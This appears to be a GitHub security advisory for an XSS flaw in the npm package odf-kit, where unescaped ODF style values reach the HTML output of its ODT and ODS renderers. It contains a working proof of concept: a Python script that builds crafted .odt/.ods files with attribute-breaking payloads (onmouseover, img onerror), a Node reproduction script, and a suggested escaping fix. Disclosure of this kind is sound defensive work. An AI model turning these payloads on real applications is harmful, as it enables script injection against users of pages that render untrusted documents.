Skip to content

odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values

Moderate severity GitHub Reviewed Published Oct 19, 2026 in GitHubNewbie0/odf-kit • Updated Nov 4, 2026

Package

npm odf-kit (npm)

Affected versions

>= 0.6.0, < 0.14.2

Patched versions

0.14.2

Description

Summary

ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted .odt or .ods file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.

Details

ODT renderer (src/odt/to-html/html-renderer.ts)

The renderer has an escapeHtml() helper and applies it consistently to text content and to attribute values — href, src, alt, id, data-author, data-date, citation text all go through it. The inline CSS strings do not.

In renderTextSpan (dist/odt/to-html/html-renderer.js:195):

const css = spanStyleToCss(span.style);
if (css)
    html = `<span style="${css}">${html}</span>`;

The value of e.g. fo:color is copied from the document into style.fontColor verbatim by the parser (extractSpanStyle, read/parser.js:348), then concatenated raw into the attribute. A " in the value terminates the attribute early.

The same unescaped style="${...}" pattern appears at roughly ten other emission sites: paragraph and heading (paragraphStyleToCss), table cells and rows (cellStyleToCss, rowStyleToCss), <col>, and the image style attribute. The affected source attributes include fo:color, fo:background-color, fo:text-shadow, fo:letter-spacing, fo:font-family (via both direct and font-face resolution), fo:margin-*, fo:padding-*, fo:line-height, fo:border*, and style:vertical-align.

ODS renderer (src/ods/to-html/html-renderer.ts) — same bug

buildInlineStyle() assembles the CSS string from cell formatting properties — fo:color, fo:font-size, fo:font-family, fo:background-color, fo:text-align, etc. — with zero escapeHtml calls, and renderCell emits it raw (line 65):

if (includeStyles && cell.formatting) {
    const style = buildInlineStyle(cell.formatting);
    if (style) attrs.push(`style="${style}"`);
}

Additionally, row.height (from style:row-height) goes raw into the row element (line 95):

const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return `<tr class="${prefix}-row"${style}>${cells}</tr>`;

The same injection is reachable through the public odf-kit/ods/to-html export (odsToHtml()), so both to-HTML directions are affected.

Version scope

The odt/to-html and ods/to-html modules first shipped in 0.14.0; the current latest release is 0.14.1. The PoCs were re-ran against the unreleased main branch (commit 270a361) — both injections still fire, so no fix has landed past the release.

PoC

Each PoC is a minimal ODF package (mimetype + META-INF/manifest.xml + content.xml) whose content.xml contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as build-pocs.py and run python3 build-pocs.py:

import zipfile

def build(path, mimetype, content):
    # ODF requires 'mimetype' first and stored uncompressed
    with zipfile.ZipFile(path, "w") as z:
        z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
        z.writestr("META-INF/manifest.xml",
            '<?xml version="1.0" encoding="UTF-8"?>\n'
            '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n'
            ' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n'
            ' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n'
            '</manifest:manifest>\n')
        z.writestr("content.xml", content)

ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n'
        '<office:document-content\n'
        ' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n'
        ' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n'
        ' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n'
        ' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">')

Q = "&quot;"
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}"                       # attribute injection
p2 = f'red{Q}&gt;&lt;img src=x onerror={Q}alert(1){Q}&gt;&lt;x style={Q}'  # full markup injection

# .odt: one paragraph with a poisoned automatic text style
def odt(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="paragraph" style:name="P1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:text><text:p text:style-name="P1">hello</text:p>'
        '</office:text></office:body></office:document-content>\n')

# .ods: one cell with a poisoned automatic cell style
def ods(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="table-cell" style:name="ce1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:spreadsheet><table:table table:name="Sheet1"'
        ' xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0">'
        '<table:table-row><table:table-cell table:style-name="ce1" office:value-type="string">'
        '<text:p>hello</text:p></table:table-cell></table:table-row>'
        '</table:table></office:spreadsheet></office:body></office:document-content>\n')

build("poc1.odt", ODT, odt(p1))
build("poc2.odt", ODT, odt(p2))
build("poc3.ods", ODS, ods(p2))

This produces poc1.odt, poc2.odt and poc3.ods. The only attacker-controlled input is the fo:color value on the style — for poc1 it reads, as stored in content.xml:

<style:text-properties fo:color="red&quot; onmouseover=&quot;alert(1)&quot; x=&quot;"/>

poc1.odt — attribute injection (ODT). The fo:color value (unescaped) is:

red" onmouseover="alert(1)" x="

(encoded as &quot; in the XML). Output of odtToHtml(bytes, { fragment: true }):

<p><span style="color:red" onmouseover="alert(1)" x="">hello</span></p>

The quote breaks out of style, and onmouseover becomes a real attribute on the span.

poc2.odt — full markup injection (ODT). The style value is:

red"><img src=x onerror="alert(1)"><x style="

Output:

<p><span style="color:red"><img src=x onerror="alert(1)"><x style="">hello</span></p>

poc3.ods — same injection via the ODS renderer. A crafted .ods whose cell automatic style carries a poisoned fo:color value (same payload as poc2). Output of odsToHtml(bytes):

<tr class="ods-row"><td class="ods-cell" style="color:red"><img src=x onerror="alert(1)"><x style="">hello</td></tr>

Reproduction script:

import { readFileSync } from 'fs';
import { odtToHtml } from 'odf-kit/odt/to-html';
import { odsToHtml } from 'odf-kit/ods/to-html';

const bytes = (p) => new Uint8Array(readFileSync(p));

console.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));
console.log(odsToHtml(bytes('poc3.ods')));

This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.

Impact

Any consumer that renders odtToHtml() or odsToHtml() output as HTML — which is both functions' documented purpose — gets XSS from a crafted .odt/.ods file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode ({ fragment: true }) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably be relying on that today.

For what it's worth, the sibling paths were checked: the markdown direction does not reach this code, and escapeHtml is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the buildInlineStyle path above is the second instance of the same defect.

Suggested fix

Escape the assembled CSS string at every style="${...}" site, in both renderers:

html = `<span style="${escapeHtml(css)}">${html}</span>`

(or, stronger, validate/allowlist the parsed style values at parse time — they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping row.height in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.

References

@GitHubNewbie0 GitHubNewbie0 published to GitHubNewbie0/odf-kit Oct 19, 2026
Published by the National Vulnerability Database Oct 21, 2026
Published to the GitHub Advisory Database Nov 4, 2026
Reviewed Nov 4, 2026
Last updated Nov 4, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-113787

GHSA ID

GHSA-3cgg-c5pp-57h6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.